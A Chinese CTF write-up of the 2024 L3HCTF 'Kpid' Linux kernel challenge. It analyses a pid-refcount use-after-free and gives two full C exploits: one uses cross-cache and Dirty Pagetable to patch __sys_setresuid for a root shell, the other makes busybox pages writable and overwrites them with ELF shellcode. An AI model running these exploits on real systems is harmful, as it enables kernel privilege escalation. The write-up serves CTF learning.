2024 L3HCTF Kpid

翻出一道历史悠久的题

漏洞分析

ioctl功能

三个功能:

  • 0x47001:调用kernel_clone,并记录pid结构体指针pid和pid号nr

    • 实际上和用户态调用fork效果一样(驱动代码如下)

      1
      2
      3
      4
      args.exit_signal = 17LL;
      memset(&args.stack, 0, 88);
      memset(&args, 0, 32);
      nr = kernel_clone(&args);
    • fork系统调用定义,SIGCHLD就是17

      1
      2
      3
      4
      5
      6
      7
      8
      SYSCALL_DEFINE0(fork)
      {
      struct kernel_clone_args args = {
      .exit_signal = SIGCHLD, // 17
      };

      return kernel_clone(&args);
      }
  • 0x58002:获取nr,也就是子进程号,没什么好说的

  • 0x69003:调用了put_pid,会将pid->count也就是引用计数减一

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    void put_pid(struct pid *pid)
    {
    struct pid_namespace *ns;

    if (!pid)
    return;

    ns = pid->numbers[pid->level].ns;
    if (refcount_dec_and_test(&pid->count)) {
    kmem_cache_free(ns->pid_cachep, pid);
    put_pid_ns(ns);
    }
    }
    EXPORT_SYMBOL_GPL(put_pid);

    减到0就会将这个pid从对应ns里删除并释放

UAF

可以通过0x69003功能释放pid结构体

利用方法1

Cross Cache Attack

pid结构体的分配释放使用专有cache,所以需要将攻击目标结构体转换到其他cache

slab内存管理数据结构图:

分配逻辑:

  • 走kmem_cache_cpu
    • 走freelist
    • 当kmem_cache_cpu->page为空时,遍历kmem_cache_cpu->partial,摘下一个slab放入kmem_cache_cpu->page
  • 走kmem_cache_node
    • 遍历kmem_cache_node->partial,摘下最多kmem_cache->cpu_partial / 2个slab放入kmem_cache_cpu->partial
  • 申请新的slab,放入kmem_cache_cpu->page

释放逻辑:

  • 对象属于kmem_cache_cpu->page,直接放回
  • 对象属于kmem_cache_cpu->partial,直接放回
  • 对象不属于kmem_cache_cpu->partial,且所属slab从full变为partial
    • kmem_cache_cpu->partial容量不超过kmem_cache->cpu_partial,将slab放入kmem_cache_cpu->partial
    • kmem_cache_cpu->partial容量超过kmem_cache->cpu_partial,将kmem_cache_cpu->partial中slab放入kmem_cache_node->partial,将slab放入kmem_cache_cpu->partial
  • 对象不属于kmem_cache_cpu->partial,且所属slab从partial变为empty
    • kmem_cache_node->partial容量不超过kmem_cache->min_partial,将slab放入kmem_cache_node->partial
    • kmem_cache_node->partial容量超过kmem_cache->min_partial,将slab放回buddy system
  • 对象属于kmem_cache_node->partial,直接放回

Cross Cache Attack需要将攻击目标结构体所属slab放回buddy system,等待分配给另一个cache,相当于一个漏洞的转移

Dirty Pagetable

可以通过增加或减少进程的refcount来控制pid->count,选择PTE作为攻击目标

1
2
3
4
5
6
7
8
9
10
11
12
struct pid {
refcount_t count;
unsigned int level;
spinlock_t lock;

struct hlist_head tasks[4];
struct hlist_head inodes;
wait_queue_head_t wait_pidfd;

struct callback_head rcu;
struct upid numbers[1];
}

增加PTE 0x1000可以让两个PTE指向同一个page,造成UAF。可以通过判断页内容来找dirty page

利用流程

喷PTE消耗一波page,然后申请DMA-BUF,然后再喷一波PTE,这样能使DMA-BUF page之后相邻PTE page

增加PTE 0x1000,造UAF page

munmap UAF page,再mmap到DMA-BUF

再增加PTE 0x1000,使dirty PTE指向另一个PTE页

然后就可以通过UAF page改PTE表了,0x9c000泄露内核加载物理基址,然后改__sys_setresuid函数内容

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
#include "mykernel.h"

#define PUT_MAGIC 0x69003
#define SHOW_MAGIC 0x58002
#define FORK_MAGIC 0x47001
#define N_PID_SPRAY 40
#define OBJS_PER_SLAB 32
#define N_PID_DISCARD 15
#define N_MMAP_SPRAY 0x100
#define PATCH_TARGET_OFFSET 0x96bfe


int pidfd_open(pid_t pid, unsigned int flags){
return syscall(SYS_pidfd_open, pid, flags);
}

int kpid_clone(int fd){
return ioctl(fd, FORK_MAGIC, 0);
}

int kpid_show(int fd, int *pid){
return ioctl(fd, SHOW_MAGIC, pid);
}

int kpid_put(int fd){
return ioctl(fd, PUT_MAGIC, 0);
}


int fd_spray_cpu[N_PID_SPRAY];
int processes[N_PID_SPRAY];
char *spray_pages[N_MMAP_SPRAY];
int fd_pipe[2];
int fd_pipe_addref[0x10][2];
int fd_pipe_sync[0x10][2];


struct sockaddr_un unix_addr = {
.sun_family = AF_UNIX,
.sun_path = "/tmp/exploitsocket"
};


void add_refcount(int count, int listensock) {
for(int i=0; i<count; i++){
int refsock = socket(AF_UNIX, SOCK_STREAM, 0);
connect(refsock, (struct sockaddr *)&unix_addr, sizeof(unix_addr));
accept(listensock, NULL, NULL);
}
}


int main() {
signal(SIGCHLD, SIG_IGN);
bind_core(0);

int listensock = socket(AF_UNIX, SOCK_STREAM, 0);
unlink(unix_addr.sun_path);
bind(listensock, (struct sockaddr *)&unix_addr, sizeof(unix_addr));

pipe(fd_pipe);
for(int i=0; i<0x10; i++){
pipe(fd_pipe_addref[i]);
pipe(fd_pipe_sync[i]);
}

for(int i=0; i<N_MMAP_SPRAY; i++){
spray_pages[i] = mmap((void *)0xdead0000UL + i*0x10000UL,
0x10000, PROT_READ | PROT_EXEC | PROT_WRITE,
MAP_ANONYMOUS | MAP_SHARED, -1, 0);
if(spray_pages[i] == MAP_FAILED) printf("Fail mmap %d.\n", i);
}

char tmp = *(char *)spray_pages[0];

int dmafd = creat("/dev/dma_heap/system", O_RDWR);
if(dmafd == -1) puts("DMA open fail.");

int fd_dev = open("/dev/kpid", O_RDWR);

for(int i=0; i<N_PID_SPRAY; i++){
if(i == N_PID_DISCARD){
kpid_clone(fd_dev);
kpid_show(fd_dev, &processes[N_PID_DISCARD]);
if(0 == processes[N_PID_DISCARD]){
puts("Child starts.");

char tmp;
read(fd_pipe[0], &tmp, 1);

listen(listensock, 0x1001);
sleep(100000);

return 0;
}
printf("Kpid: %d.\n", processes[N_PID_DISCARD]);
continue;
}
for(int j=0; j<OBJS_PER_SLAB; j++){
int pid = fork();
if(pid){
if(j == 0){
processes[i] = pid;
fd_spray_cpu[i] = pidfd_open(pid, 0);
if(fd_spray_cpu[i] < 0) printf("Fail %d, %d\n", i, j);
}
}else{
sleep(10);
return 0;
}
}
}

puts("Spray over. Wait...");

sleep(15);

puts("Wait over.");
for(int i=0; i<N_PID_DISCARD; i++){
close(fd_spray_cpu[i]);
}

kpid_put(fd_dev);
close(fd_spray_cpu[N_PID_DISCARD+1]);

for(int i=0; i<N_MMAP_SPRAY/2; i++){
for(int j=0; j<0x10; j++){
*(unsigned char *)(spray_pages[i]+j*0x1000) = (unsigned char)j;
*(unsigned char *)(spray_pages[i]+j*0x1000+1) = (unsigned char)i;
}
}

int dma_buf_fd = -1;
struct dma_heap_allocation_data data;
data.len = 0x1000;
data.fd_flags = O_RDWR;
data.heap_flags = 0;
data.fd = 0;
if(ioctl(dmafd, DMA_HEAP_IOCTL_ALLOC, &data) < 0)
err_exit("DMA_HEAP_IOCTL_ALLOC");
printf("dma_buf_fd: %d\n", dma_buf_fd = data.fd);

for(int i=N_MMAP_SPRAY/2; i<N_MMAP_SPRAY; i++){
for(int j=0; j<0x10; j++){
*(unsigned char *)(spray_pages[i]+j*0x1000) = (unsigned char)j;
*(unsigned char *)(spray_pages[i]+j*0x1000+1) = (unsigned char)i;
}
}

write(fd_pipe[1], "c", 1);

for(int i=0; i<0x10; i++){
if(fork()) continue;
else{
if(i != 0) add_refcount(0x100, listensock);
else add_refcount(0xff, listensock);
write(fd_pipe_addref[i][1], "c", 1);
sleep(100000);
return 0;
}
}

for(int i=0; i<0x10; i++){
read(fd_pipe_addref[i][0], &tmp, 1);
}

sleep(1);

puts("Add ref 1 finish.");

void *target_page = NULL;
bool find = false;
for(int i=0; i<N_MMAP_SPRAY; i++){
for(int j=0; j<0x10; j++){
if(
*(unsigned char *)(spray_pages[i]+j*0x1000) != (unsigned char )j
|| *(unsigned char *)(spray_pages[i]+j*0x1000+1) != (unsigned char)i
){
target_page = spray_pages[i]+j*0x1000;
find = true;
break;
}
}
if(find) break;
}

if(find) printf("Found target: 0x%llx.\n", (long long)target_page);
else{
puts("Not found target.");
return 0;
}

puts("Remapping...");
munmap(target_page, 0x1000);
void *dmabuf = mmap(target_page, 0x1000, PROT_READ | PROT_EXEC | PROT_WRITE,
MAP_SHARED | MAP_POPULATE, dma_buf_fd, 0);

*(char *)dmabuf = '0';

for(int i=0; i<0x10; i++){
if(fork()) continue;
else{
read(fd_pipe_sync[i][0], &tmp, 1);
add_refcount(0x100, listensock);
write(fd_pipe_addref[i][1], "c", 1);
sleep(100000);
return 0;
}
}

for(int i=0; i<0x10; i++){
write(fd_pipe_sync[i][1], "c", 1);
}

for(int i=0; i<0x10; i++){
read(fd_pipe_addref[i][0], &tmp, 1);
}

sleep(1);

puts("Add ref 2 finish.");

void *victim_page = NULL;
find = false;
*(size_t *)dmabuf = 0x800000000009c067;
for(int i=0; i<N_MMAP_SPRAY; i++){
for(int j=0; j<0x10; j++){
if(spray_pages[i]+0x1000*j == target_page)
continue;
if(*(size_t *)(spray_pages[i]+0x1000*j) > 0xffff){
victim_page = spray_pages[i]+0x1000*j;
kernel_offset = (*(size_t *)(spray_pages[i]+0x1000*j)-0x1c04000)&~0xfff;
find = true;
break;
}
}
if(find) break;
}

if(find){
printf("Found victim: 0x%llx.\n", (long long)victim_page);
printf("Kernel offset: 0x%llx.\n", (long long)kernel_offset);
}else{
puts("Not found victim.");
return 0;
}

*(size_t *)dmabuf = (PATCH_TARGET_OFFSET+kernel_offset) & ~0xfff | 0x67;
*(unsigned char *)((size_t)victim_page + ((PATCH_TARGET_OFFSET + kernel_offset) & 0xfff)) = 0x85;
puts("Overwrite __sys_setresuid...");

setresuid(0, 0, 0);
get_root_shell();
return 0;
}

利用方法2

比较简单的一种,通过add timer增加pid->count,使PTE从只读变为可写,改busybox

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
#include "mykernel.h"

#define PUT_MAGIC 0x69003
#define SHOW_MAGIC 0x58002
#define FORK_MAGIC 0x47001
#define N_PID_SPRAY 40
#define OBJS_PER_SLAB 32
#define N_PID_DISCARD 15
#define N_MMAP_SPRAY 0x400
#define ADD_REF 0x42


int pidfd_open(pid_t pid, unsigned int flags){
return syscall(SYS_pidfd_open, pid, flags);
}

int kpid_clone(int fd){
return ioctl(fd, FORK_MAGIC, 0);
}

int kpid_show(int fd, int *pid){
return ioctl(fd, SHOW_MAGIC, pid);
}

int kpid_put(int fd){
return ioctl(fd, PUT_MAGIC, 0);
}


int fd_spray_cpu[N_PID_SPRAY];
int processes[N_PID_SPRAY];
char *spray_pages[N_MMAP_SPRAY];
int fd_pipe[2];
char elfcode[] = {
0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
0x97, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0x01, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x6a, 0x74, 0x48, 0xb8, 0x2f, 0x66, 0x6c, 0x61, 0x67, 0x2e, 0x74, 0x78,
0x50, 0x6a, 0x02, 0x58, 0x48, 0x89, 0xe7, 0x31, 0xf6, 0x0f, 0x05, 0x41,
0xba, 0xff, 0xff, 0xff, 0x7f, 0x48, 0x89, 0xc6, 0x6a, 0x28, 0x58, 0x6a,
0x01, 0x5f, 0x99, 0x0f, 0x05, 0xEB
};


void add_refcount() {
for(int i=0; i<ADD_REF; i++){
timer_t timerid = 0;
sigevent_t sev = {0};
sev.sigev_notify = 1;
if(timer_create(CLOCK_REALTIME, &sev, &timerid) < 0){
printf("Timer.\n");
}
}
write(fd_pipe[1], "c", 1);
sleep(100000);
}


int main() {
signal(SIGCHLD, SIG_IGN);
bind_core(0);

int sfd = open("/tmp/aaa", O_CREAT | O_RDWR);
write(sfd, elfcode, sizeof(elfcode));
lseek(sfd, 0, SEEK_SET);

pipe(fd_pipe);

int fd = open("/bin/busybox", O_RDONLY);
for(int i=0; i<N_MMAP_SPRAY; i++){
spray_pages[i] = mmap((void *)0xdead0000UL + i*0x1000UL,
0x1000, PROT_READ | PROT_EXEC,
MAP_FILE | MAP_SHARED, fd, 0);
if(spray_pages[i] == MAP_FAILED) printf("Fail mmap %d.\n", i);
}

char tmp = *(char *)spray_pages[0];

int fd_dev = open("/dev/kpid", O_RDWR);

for(int i=0; i<N_PID_SPRAY; i++){
if(i == N_PID_DISCARD){
kpid_clone(fd_dev);
kpid_show(fd_dev, &processes[N_PID_DISCARD]);
if(0 == processes[N_PID_DISCARD]){
puts("Child starts.");
char ch;
read(fd_pipe[0], &ch, 1);

add_refcount();

puts("Child exits.");
return 0;
}
printf("kpid: %d\n", processes[N_PID_DISCARD]);
continue;
}
for(int j=0; j<OBJS_PER_SLAB; j++){
int pid = fork();
if(pid){
if(j == 0){
processes[i] = pid;
fd_spray_cpu[i] = pidfd_open(pid, 0);
if(fd_spray_cpu[i] < 0) printf("Fail %d, %d\n", i, j);
}
}else{
sleep(10);
return 0;
}
}
}

puts("Spray over. Wait...");

sleep(15);

puts("Wait over.");
for(int i=0; i<N_PID_DISCARD; i++){
close(fd_spray_cpu[i]);
}

kpid_put(fd_dev);
close(fd_spray_cpu[N_PID_DISCARD+1]);

for(int i=0; i<N_MMAP_SPRAY; i++){
tmp = *(char *)(spray_pages[i]);
}

write(fd_pipe[1], "c", 1);
read(fd_pipe[0], &tmp, 1);

puts("Add ref finished.");

for(int i=0; i<N_MMAP_SPRAY; i++){
if(pread(sfd, spray_pages[i], sizeof(elfcode), 0) > 0){
puts("Success");
}
}

return 0;
}

2024 L3HCTF Kpid
http://akaieurus.github.io/2025/08/14/kpid/
作者
Eurus
发布于
2025年8月14日
许可协议